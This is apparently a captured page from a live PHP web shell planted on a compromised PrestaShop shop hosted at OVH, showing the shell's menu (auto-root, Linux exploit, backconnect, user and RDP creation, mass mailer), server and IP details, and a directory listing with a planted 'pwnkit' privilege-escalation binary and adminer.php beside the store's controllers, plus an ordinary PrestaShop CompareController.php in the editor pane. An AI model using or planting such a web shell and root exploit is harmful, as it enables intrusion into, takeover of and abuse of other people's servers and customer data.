Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.217.153
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
controllers /
front /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
AddressController.php
13.17
KB
-rw----r--
AddressesController.php
3.14
KB
-rw----r--
AttachmentController.php
1.61
KB
-rw----r--
AuthController.php
27.33
KB
-rw----r--
BestSalesController.php
1.99
KB
-rw----r--
CartController.php
13.27
KB
-rw----r--
CategoryController.php
7.73
KB
-rw----r--
ChangeCurrencyController.php
1.37
KB
-rw----r--
CmsController.php
4.88
KB
-rw----r--
CompareController.php
5.24
KB
-rw----r--
ContactController.php
11.4
KB
-rw----r--
DiscountController.php
1.98
KB
-rw----r--
GetFileController.php
11.09
KB
-rw----r--
GuestTrackingController.php
8.08
KB
-rw----r--
HistoryController.php
2.24
KB
-rw----r--
IdentityController.php
5.26
KB
-rw----r--
IndexController.php
1.49
KB
-rw----r--
ManufacturerController.php
4.87
KB
-rw----r--
MyAccountController.php
1.84
KB
-rw----r--
NewProductsController.php
2.37
KB
-rw----r--
OrderConfirmationController.ph...
4.57
KB
-rw----r--
OrderController.php
13.33
KB
-rw----r--
OrderDetailController.php
8.58
KB
-rw----r--
OrderFollowController.php
4.54
KB
-rw----r--
OrderOpcController.php
30.35
KB
-rw----r--
OrderReturnController.php
2.96
KB
-rw----r--
OrderSlipController.php
1.75
KB
-rw----r--
PageNotFoundController.php
3.99
KB
-rw----r--
ParentOrderController.php
22.48
KB
-rw----r--
PasswordController.php
5.04
KB
-rw----r--
PdfInvoiceController.php
2.44
KB
-rw----r--
PdfOrderReturnController.php
1.98
KB
-rw----r--
PdfOrderSlipController.php
1.85
KB
-rw----r--
PricesDropController.php
2.01
KB
-rw----r--
ProductController.php
31.26
KB
-rw----r--
SearchController.php
5.82
KB
-rw----r--
SitemapController.php
2.76
KB
-rw----r--
StatisticsController.php
2.81
KB
-rw----r--
StoresController.php
9
KB
-rw----r--
SupplierController.php
4.6
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
autoload_classmap.php
0
B
-r--r--r--
index.php
1.24
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CompareController.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class CompareControllerCore extends FrontController { public $php_self = 'products-comparison'; public function setMedia() { parent::setMedia(); $this->addCSS(_THEME_CSS_DIR_.'comparator.css'); } /** * Display ajax content (this function is called instead of classic display, in ajax mode) */ public function displayAjax() { // Add or remove product with Ajax if (Tools::getValue('ajax') && Tools::getValue('id_product') && Tools::getValue('action')) { if (Tools::getValue('action') == 'add') { $id_compare = isset($this->context->cookie->id_compare) ? $this->context->cookie->id_compare: false; if (CompareProduct::getNumberProducts($id_compare) < Configuration::get('PS_COMPARATOR_MAX_ITEM')) CompareProduct::addCompareProduct($id_compare, (int)Tools::getValue('id_product')); else die('0'); } else if (Tools::getValue('action') == 'remove') { if (isset($this->context->cookie->id_compare)) CompareProduct::removeCompareProduct((int)$this->context->cookie->id_compare, (int)Tools::getValue('id_product')); else die('0'); } else die('0'); die('1'); } die('0'); } /** * Assign template vars related to page content * @see FrontController::initContent() */ public function initContent() { if (Tools::getValue('ajax')) return; parent::initContent(); //Clean compare product table CompareProduct::cleanCompareProducts('week'); $hasProduct = false; if (!Configuration::get('PS_COMPARATOR_MAX_ITEM')) return Tools::redirect('index.php?controller=404'); $ids = null; if (($product_list = Tools::getValue('compare_product_list')) && ($postProducts = (isset($product_list) ? rtrim($product_list, '|') : ''))) $ids = array_unique(explode('|', $postProducts)); elseif (isset($this->context->cookie->id_compare)) { $ids = CompareProduct::getCompareProducts($this->context->cookie->id_compare); if (count($ids)) Tools::redirect($this->context->link->getPageLink('products-comparison', null, $this->context->language->id, array('compare_product_list' => implode('|', $ids)))); } if ($ids) { if (count($ids) > 0) { if (count($ids) > Configuration::get('PS_COMPARATOR_MAX_ITEM')) $ids = array_slice($ids, 0, Configuration::get('PS_COMPARATOR_MAX_ITEM')); $listProducts = array(); $listFeatures = array(); foreach ($ids as $k => &$id) { $curProduct = new Product((int)$id, true, $this->context->language->id); if (!Validate::isLoadedObject($curProduct) || !$curProduct->active || !$curProduct->isAssociatedToShop()) { if (isset($this->context->cookie->id_compare)) CompareProduct::removeCompareProduct($this->context->cookie->id_compare, $id); unset($ids[$k]); continue; } foreach ($curProduct->getFrontFeatures($this->context->language->id) as $feature) $listFeatures[$curProduct->id][$feature['id_feature']] = $feature['value']; $cover = Product::getCover((int)$id); $curProduct->id_image = Tools::htmlentitiesUTF8(Product::defineProductImage(array('id_image' => $cover['id_image'], 'id_product' => $id), $this->context->language->id)); $curProduct->allow_oosp = Product::isAvailableWhenOutOfStock($curProduct->out_of_stock); $listProducts[] = $curProduct; } if (count($listProducts) > 0) { $width = 80 / count($listProducts); $hasProduct = true; $ordered_features = Feature::getFeaturesForComparison($ids, $this->context->language->id); $this->context->smarty->assign(array( 'ordered_features' => $ordered_features, 'product_features' => $listFeatures, 'products' => $listProducts, 'width' => $width, 'HOOK_COMPARE_EXTRA_INFORMATION' => Hook::exec('displayCompareExtraInformation', array('list_ids_product' => $ids)), 'HOOK_EXTRA_PRODUCT_COMPARISON' => Hook::exec('displayProductComparison', array('list_ids_product' => $ids)), 'homeSize' => Image::getSize(ImageType::getFormatedName('home')) )); } elseif (isset($this->context->cookie->id_compare)) { $object = new CompareProduct((int)$this->context->cookie->id_compare); if (Validate::isLoadedObject($object)) $object->delete(); } } } $this->context->smarty->assign('hasProduct', $hasProduct); $this->setTemplate(_PS_THEME_DIR_.'products-comparison.tpl'); } }
Close